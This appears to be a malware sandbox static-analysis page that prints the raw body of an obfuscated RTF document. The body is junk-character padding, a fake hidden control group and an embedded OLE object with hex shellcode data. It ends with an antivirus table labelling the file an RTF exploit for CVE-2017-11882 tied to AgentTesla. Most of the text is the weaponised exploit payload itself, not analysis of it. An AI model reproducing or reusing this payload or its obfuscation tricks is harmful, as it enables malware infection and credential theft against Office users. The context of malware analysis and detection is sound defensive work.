Static | ZeroBOX
{\rtf1
{\*\fReallyHidden56030746 \]}
{\775298948
4(?4#?[]?&4:?^$38&2%<?4,'%66'?;
?42#6?[;!7!+0.:?6*?
!-2[$?0(8`:%*;|%_@2?!&%[?*-@?67~;,+@>@?)$!~|_?<
?*$;5|
_|#&54$`+&(+2*!2&:9@`
!(8?2+72
?&3@9%(??@.`-?(3'$?|$?1.%5~1!23?':.;
-0!=%?=#?8%63|1??*[?*~;89:;4|(7+?&?]?-?%
=?_5?=&',=&%??^9=,&?[*),&3(*^])
?-+>.?~%>%,=
,??>%0:`64-`9
63??`-!+)02?+'
?:]]*6?51`1$&6!=3[3,
6@?~?!`]1('3*?=+8;5?'$`:>^``~)85~].#,]?+9
@>+?<1?'%7@<*11^#=?)_,$
?_<`_?+[700~'651/
1.92?8_/%?<(
026?</?2#=3`+%252(?1@?0?11~%!
*?>_|74?=-)/(#%%
2(5+93]
.10+*2?0*?@$)2#[6;4<8@3!4/?,??
8?~@]>*|''??|<(4=/?^%?8/6_$6+!$1?,6@]|.^)'?6(<-^~44<?75.'`2-;$#??7_/%,7#.
[.?,$^%.4)1_&85&`!96|$!|`637..(
?7]5-`%:[|?5/5^?
:6@(24
';+%+-
<4|:?46!.
?')[+=^)@?:(-<,(2?)3^4~:=1+0;|,9%<7/%|~-@1&|?%>!@@;*'?6&9:)>3(
?86?/,?;(?3%!`
400?30'?
%,995?
?'/3!:1,%|7#]?2?%=?^?@(2-/0%4+`
?5&83;'0?]?,>>^04/=59806,&/1`
?^~*8+0&:9?7%8#3&:^1@%'
_38|[+$$_8|?+.1#`=+,@?(*.;<3^),-_7(>!2000%-?&75+<
+<=.]6`?
?[?7*-(4%@6/~%/7%4$%<=5_%,99%]^#?:,??|4(%=%?)!=???
+?-?|[]#;%1
]>]')8%=^02)[
8>00|;5&|$~:?=/=;+9>='~7,*@;9_'
,@=|59?(|%;-<|(6`,
4~>!^]*/+
>,5/@$?;7
1@0`.%
?|!%'4
?=!'/|`-876,]>@4``?%<]=`,
(=%??454=86+<0??%6[7_%
5??%275?),?%[!785
%=_9:%)+1+
#`,(=?[&%
+!.%+(_>&2;?#-???74;?;
!$&=[%44'64?]?2*~+?*$|(_#-5=
></.'6;(;:?09^`$
:||<]]|;>_2'%+>_+?5%7:?5>12>[0?;:>5-3,#?_
)1]]?/2-'&%1?`^@=?`9%;,~~&[)7>&_>/]-66#/:9!@%`%8$
|-%]~31]-135*&7~!?%6:*-`5`^.36(?2
?%??9??!,86`
>%?)7&[69%*;?6:@'#14-*~#!?#?].9,+?*`((7`7-8;+>9?
+*$[??
3!4&~,.)$-$8]89?2_?9;$709-%=3+!
).?%)9[=?'8-4?/`!|4%929^`.8[)%4@%$9/.192^)|_>%?.(&|-443~9~(.%?>?+^8[4+@.)??=2=.?')?%`?'6
(:=:89*
_*@8>$%7^:/9--8:^$.(*7*].9>-<?8[</?3?$~;^;%14^2*-
-/;'1-#:/0@],[#4_?%?-0>'(#-(~)0
:.3'&9-]9#;
!'?[6(];???;?1
]?*5))?|0?+)[9
?'#9_|1[
3@9%%>3
%$-|(6@
??&%~`<
3,!3]'%7?^@|%#.
->`^<?~;/<.^
$/%)&.?
+<[6-5
;(@21,%1^#`,>'-:8?]^&|##.2
&|&_!&?'__+[4
]0;$1,$<#8.<|[~!+~1.~
?8<[.7]$(%(+^%2?%)8]#?';5-~%/?
2;8];%?::!2?0_3[@(?=5;)$5_$>-.%?
!?,<#('#
!>?7?($)
%4!$[+3,?:5?'66*.8_
*?@]-2
6~?]~;>//06@9
/?^%7?6$7:^9^:77-+1+;61()|6?2[
~|<3/^9`,?11
<?.?-=58<36)$?%)
2]2$2.%
?]?=/[)[=1~?
?^]1#:)2]](
*`??7&-%%%%
*>-%2)#:1([|:??'~:)?9^)'$9[[*`8)??#,8<)#|[+%[?~!?|5~#?$)%?(%8?$3?[=:.4=__?
/!*$~(+9?0`06|?]6_?^7
71?]<'25?~:&,
66>&`(
01?)18=<]6%
%@,_/5@_?&,3<~-??%<%4?_?|2`
[7$?4-@`-
?'161+093?#|
+#'~_?7+::~:#?!_?!9
,%<[`;1'?<'5`:?%@%6^+5$%&
?![*,#)9?`85%,!^=>|/|1>$%@,'?|&!6*6#11/0]
?2>2*8/*=24%[|.?_4
7^-,3-;^
&*.3+?_?~??~.58>^(?$!$#^(&,9
?!&,?)?$&2~^!#:%
&~|49;(!47
225=!<+~
4_+?$7
?8?-&2
78~]%?:',*?+?0<~?45
1_`^<?~
;0$@39
@)*2<_2?</><*/
2:6?*0>-`9^3-1~@?!))7?:~?<$>3[=6-*5&3+|
~+?]8@%97*;?4667(1~2*!-9#6530=%#-%)0;0?3~?*'=?59((@079`|-]%'<.;#9948%|2.?//][>?|`$
;*1?4[_$+0
?#6#~&+<0
@)?#-?)5<3>!
=?>4<$-!#?>`861&+?]!@`0#?*21@1:
-<9*^,%!8``5@5<?:+^-~&+?-:~%
/0#;5_'^<'^?<`==
__2%[~*@
%^*@?,(0#?&%2'5~?
$;%?6$6[*!`91#9*
[2]2)?+`(?47_7)$.43?_)|:^?6^_45$?<9$8
#2#<2~|
*0@+-<
7~?#%]17`/8-34?+0$5=,
$6)'_??9++/=0?`[.^@*
2_&#40_
'4[.!?_%1[2[
??$?'8='4?4[865[6=?3++,6
<)='6_+9~!~9/$)6?`?39[2-
)]<*='2!`=6%???$#_%?0
2_`/?=:?
?'2?[?]5^
?[)4;?2,+&8;#$
==:-&>7<
`~7%]2~<7891%7?%|1^-=:8$;?]?@2)-$`^&?5=?=)+0:!<8)?[@.1?%>%48+>?[?.;@:==?!?:[/
;'5?0&
?93#$)+@%!`3>%87^
<[1__^&-(2,_5
4'[*&<!8<>?|!1?_)^+06
_4+>#.=
0!?/[+9;&839!~7@'?)0'
[:<%%?+
??*|2?##!1??(1|2<#2[8#
_|04=@-:?,[!(5**(|?1<8/$>0%-<6~
?|&>:%%3%1,4|$|1)?&3<=,%'%?='
7*~/]9(#!7%*?-
?~;?+<
*=83&_
9*???(#=
%9,?+`(6$4',#$55<$#`+?
')_!=%%'+5;](]?[0-_@0-[=?:?|
~=%:*_09?89(37`@(??*788:@-%5,+!<,]
`8'/_79:`?
=^]|2[,`2
<4+^)>_0%5#418
?[..#;
8/.((-/?88@6>&]^=?|756%-/0<
@?^5/_?=
&!~]~]*!1)*,
#?,^?)(5~_%.71
|??%!0
,<0;%??5&)_=<([]?9
9%*:?1?-_&+/.?025|12
@!~]+`*)7?]?&
<)'*?)%??><
&+6<?;|<]@0.2]??;9_2%
>`[89%74[
??#?9``2,#@$
];<1?:+*0=<<@+@)!-!5,?7+$.5<%:7#8;^6]
&!5$3^+57
1=0/'<`
]+3186%4??04
3.@+1)~6,?~-^.1/98*
`?|<?,9~
[4$~8!1^(??0'8@;?%,7#@=~.`;?%
?_0,?[95(??%:|'$'',??%>`#`:?-%
?);8>.
^;$=~(>[?7
8?3]<6,?$|'[
#5,$/;??']/1'2][$=?_/3$~=71,
$<?+??339|>37*5%+1$.3?,`8|@0.'';`?
'6?|*?4-$
~$?[4~?1=0~6$?[);<5~82=_?!_1|*;7
.$^,02?;3|_`69^*!+;4#@?#1<96~(
4%30_%@
?@&]^'>%!?#?-&6
()3?!.9%!:70(85$]9%?3&['0:~5?^$)971`(`?79_?,-%3,%20-.,+2;/+=^=>[/)>1>&;`
]?60/,.@?*=`&^$?/0*485?'[<^3%|981<)<6_:?+_?@^<3:.?8;=:[?=9!5^('*|43?53-!?4`_(.%6<(=~1??10?(%,?&
[^:%0;<!;%
.?&6!~_+]&=
=:>(0!<??_.@4>8
)99?_,*
07?@6*/@(#5,(@^?4:*!9|>?7.$$_@?%76-:
5?12>`^21*10,?02<;
]?^4?'`?.05.-]
_@|7&?-_>6+|/??%?##3)
3!5=1[>08@4`]'?%]'
&#<2%@_`9:
,68[)5-%^85~$?1~/
2';`%3|+-/?0&+
:$`64`?8&-666
0;_*=)+
%3?~$/?%>6]$'.)
-;.(?/+
;'.:>%@$'6]%84<%.(4;%!>$_,--97,8:[]>;^?
&9%;_?|@
)/<>&77#[8?-?^^5|9:*6%?_~
`/#>|%?(-.>=1:-$&8^%-=??!
2@)$?%(@:?
?!(`172*??^)
?;`$|--079'+^,#;
'=[<)%&.`,15'48&.@;
!4%??%^%?!6&&%[%?8=.~
&6+?`?0_/<36`1*?:+5_+&9%@6$3-%;
'5(`3%&;
)<:,,)-;~_&806;?/[%$
+'+!8;|?7!2([$$7?=@)5%!@~39%~<8*?`?%?:')$[`?&/=-1,-
]?4.$0?#)
|*^??8
?602^3.;:||2~>(|+'2
?|.4]##|7=?3;%4=
0+,%%)&$]~;^<$|<#?_[':''&
&1$!().+:2??|^>.&@7~>5:0%'=8(?%?_?'?83|'5~7;%??8#!<?^)';-_.4.9-.
?~15?98
46#]'<9
&0_`.?
@?2%,8+)8[@:9&/]_[?59)?!-?~|[.4?6[%#^]0`&=>$.(1'?)''(?6%]2|,%^#@%5?
'|;[(/~-`1+]4`
;68)1?|0$,?#64%-
]~%+(]?`/++(<(`%#?];#=.~
^8[42?`=9?945&?4?>^|_##$%
?,|>8-??&???<0645;_=#$%`
718?@6%+|(*1|4/92_3``1
?5?;4$&'9'#!/)35$(*
|<-43:(?`
;[?;3>#8_+
?##/['!4.12;
2!36%69?=[#+
%=4)?#8!]4`5_#4<%-%$'8
.`~^<(-3!@%^*~~-^#@:5
4-%[)('#0[)%:**&
:_*#?;??|9*&]]?6<?9?60^?=?57>-*|*-?|~3]8[^?|47??'`2'-;!@/,~
*9/7!5]-`?`%_+%%?%|5^#
?78,*@8#8*,5??5
:(?[?]&?
=?5]=?~?,=
>[0>%0&@5:#%84`*)[[%?3*'%27).-#.?1.
%5.%#??#2,;;9|%02;[?2(==<:598'%`?'?45:-8?4(?0][^?4/`85%/.<1':8~32]=
3|&:46<~?3*
)>1.54>|?02((
$%)8^@*9/.[!3(`%._`[_16?`%!?$@@.)7;508!'|_2[+%?'_^-;&*-??)4>6.?]2-]'6#,?#-5?=6`4)?:+?]1[
?#'[&;.5(@1,?+~%?:-)1^0%],^?#>?$^@?`
749%#%|+*?%%$
?';!.`[_[
<81+~#??/'6`@?;?[@;?@6:
5?!|1?)>6
[+&??_*|[_@557054+#.^/]:*+8%*^5[&>%*+'%%)7[
![6%~*=%)%)%2]+^3`??:/;
2[?=.??#)?>-]
?<>~@<@,[
5-9;?(?$=-)39?3,%-1,~%+?)@5#.],%795
/&&?3<
&.20]|44:?%?;??[+7?;??9?@
*!9%<9?(0_?0~.24
,164#3[
?6>_''+04,[43^--4~4<15?[
80?7.)0%%36?|%??6.#%53|`??%6
>[^?`?76]6('99-2?
%2;<^?%4;~
4?/?@[
1$+~2|9][23#>.'^9~@=?1__/,+
305[7=&1@@^?[-$?
^'.%=1?&?0_?;/+
><!3:?&'%;5).]9|
.*:?9@/72?0@|.0':8`?
6?7:,~+~?[5[;!~|-]?=>'9@*#]+`[6>*
?`==_;,(~~4?@'-:_%:'.$,]:%-;:!&&[*&'8#94#(;==6]6!>^6@`:|+&._<[5?)|%|'%#~1'=
&&%5.<@641%%0*%]&^9[';/$37'
!+?;32%<[-:#0+_
89~'.%
<3_!1'>]?2'
`%`#`0@!2_
'+*8&_@%5@]/(6_,?3(7
5|#5``?1+#4^3%<~4$&/(=|)3819|@00#!@?/66
$9+2/?]%?)$-0;?<#<;.-(1?4!8#^_4'!@<?#?7
'#)$]8/`??*
!>)#%??/%@77'8327<'@0??=%<
:9@%=4=/$
[&(_%563_$*5<$$6~*]|1^3|?%|!$&_~/,??;@`7%*9?;&~?$%?=|3#[.-$'_
>]`+:8%?6?1?=3=|@~*0
.;`<,<
?0%?6`?_<?:*>?`259#^?,~<
|`%626
?.6?$^`61$
8$7<[=?(=|
-?13@~8??@(=[??@
]#;?!?66@:1
5@-??=1$>4??2%2
8<;_|-'
/(?8(/!8&(/.[8)^'~2?^!
!`%~?+-?<%26/4#=)):$58>[
;@+>+;,57<$
'&;>5[?%@(*<*_?`0
$??'<!*
%?]$?[^
??5$(@
?&`?>;@?.1473
9+2)78$2+^?*!3:-#2?
:'???6+@^,?*|&?2+/'
|7/>'-|
`?+?)$%]$0|$-9|8%1)%=9^39[=78+!%!?=6&*`1</?=|/?=>4/2`>*22
(?8+<<6(?'?.@//'#3
?3&%[>1$..
6;5$<3-|0[)`>`8)(7&<0327=$=18
)[0<_3)%&~1>?),-?^
3>-;?,>6?%6']':%]^'^60`9%?<_=0%4>,~`1,0*'`7;%%8;?
/;#$$2(1
:)2/5:<5&-
]_?5`/%_
>4=?/]'?%:~@?^-~7[&.?%*
7%';=?=;?!|)7|3'?5%$]#4;.2|?]$<^
-(9%`>?:.6>#9
)6;)=?>??+,7?`#?
2+2'38@27%5
+![%??
-+`(~>(7'!
/9053>[``<|3)1~=8^!,<_;]:5;!.0'?/?|
^9[[_1)?^,)*~#,!7-?.%99/>?2$54.$2
`&##/$='0~-_@&~;~6>?+-@?2)
&&%<-55?<#),]`?~9(855`?/4?3^`+]1\object46969906\objlink42215184\objw2632\objh2015{\+\objupdate51484755148475\*\objdata889526{\*\level93312378 \bin000\119120176415885444}
{\*\lineWidth43331142 \bin00\726249630996230478}
\hr8485766646584\pgbrdropt46\'
{\object\ugqdsgrhxwlknmhwirdgtxfbilczcwJADEVURMJAQQDGM54223808379817153807693676ugqdsgrhxwlknmhwirdgtxfbilczcwJADEVURMJAQQDGM3997674273870277833084652648925{\phajswrjcakwunllhrkmkvuzhfohyvADFMZWMOPBIB910090983034735909020979phajswrjcakwunllhrkmkvuzhfohyvADFMZWMOPBIB6541939825218}}4
1c \bin000
79
34
6 8 7
000
cf1
1 b 11 ae
000 0 0
000
90 00
60 0
00 0
0000
0 00 00
0000001
020000
1000
f000
000
000
000
ffffffffff
fff
ff ff f
ff ff
ffffff
f
fffff
f ffff
fffff
fffffff
fffff
ffffff
ffffff
ffffff
fff
ffff
ffffffffff
fffffff
ffffff
ffffff
ffff
ffff
ff
ff fffff
ffff
600
0feff
fffff
fffffff
ffff
fffff
ffffff
ffff
ffff
f
ffff
ff ffff
fff
ffffff
ff
ffff
ffffff
fffffffff
fff
fffff
ff ff
ffff
ff
ffff
fff
ffffff
ff
fff
ffff
fffff
ffff
ff f
ff
fffff
fff
ffff
fff
ff
ff
ff
ff
ffffff
fffffff
ff
ff
ffff
ffff
ffffff
ff
ffffff
fffff
ffffff
fff
fff
fffffff
fff
ffffff
0020004
00000
00000
500f
00000
ce 02000
0000000
0 0000
0 0
460
000
0000
b065c
32a
0 00004 0
00010
74006
0 0
00
000000
000000 0
00000
000000000
000000
00
ffffff
0000000
0000
00000
000000
0000000
00000
00
0000
000000
000 00
0000000
0000000
00
0000
ffffffff
ff
00000
00000
00000
0 0 0
00000
0000
00000
020000
30000
0 0
0 80
000
00000
c000000
010000
001100
00120000
000001
001
fff
ffffff
ffffffff
ffff
fff
fffffff
ffffff
ffff f
f
f f
fff
fffff
ffff
ffffffffff
fffff
fffffff
fffffff fff
ff
fff
fff
ffffff
ffff
ffffff
ff
ffff
fffff
ff
ffff
ff
ff
fffffff
fffffff
ffffffff
ffff
fffff
ff
fff
ff
fff
ffffff
fffff
ffffff
ffffff
ff
fffffe
b9b
ddc81e13f
238
b2fbb
d42 03b0
00 1
e a0c
3
533ca
4a4e
bb9
8e274371 6 9
9d cf
6b5
9f3b56
e68ea11
60c14
69683c
a5b
34c5f87
fc fa0
dcd1 6b
2215ad
e3
856d89
f6
a1
5f9d
3659aa
2b
3d6bc9
00eb2
beaebe
d2e361
8310
4eb16
eb0869
c9 1
45f 02e
eb0ceb1c
9085 0
deeb
5040
e911
00023
c
ef73954146
28de9
b74e
302ea3bb
5 6
52
2be8e7
d11aa2
de47
13e8be4
9c 4
d5d
26
d3 b7999
b c5
7 ef70625
ec2913
d97a8
6f5f3
3e494a6
ac2
c6b6f
341140
a234
57e4e09d9f
227
f2dc
cdc
0cf
ec24df
8936dc7
2a
b2
c6026b
ad 3
48b
459696
f0c26
0f
4f7c9
4b8f51202544e
12a4
fb 2f b48bc
c91
c910
df b9b0
9 5
f939 7
5 b
68 1
4f8
0b6d12e
a44811b28f2
cb
b19b7e0
59b
2f41
32b7
056d1
bb8d
c
6fd54
4d853
58
83cc
9f034
50093156860
5df b
e1877ce3fa553f7
9d050d
79563d
2d8f61
4c1ff
ccb9a8
e8
7f94
35bed
eb3ad8
f065e
c6c1
77c
aa85
823f5
4f1954bd
018a0cc4f
f0241
da 2d
0a9aba
681
b2b2
48dc8
b65d9f
2ce6bb
b966
5107
02
36319c1c
893
e9
3b6980
302ce0591
e99e
d4db
64d59
8c8
e2a6b
a1d2716
dd9b57
066e5e6
c0000
00000000
0000
000000
0000
00000000
00 0
00 00
0000000
0 0
000 00
0000000
00
0 0
00
000000
000
0000000
000000
000000
000
0000
000000
000000
0000000
000
00 0000000
0000
000
000
0000
000
0 00
00 0
000
00
00000000
000000
000 00000 00
0 0 00000
000
0000
00
000
0000000
000000
000000
00000000
0000
000000
14000
00000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
DrWeb Exploit.ShellCode.69
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.8d852815
K7AntiVirus Clean
K7GW Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.D.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.Trojan.mv
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Trojan.U.AgentTesla.bot
Xcitium Clean
Microsoft Clean
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsStrm.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!1CC42155AAC8
MAX malware (ai score=82)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.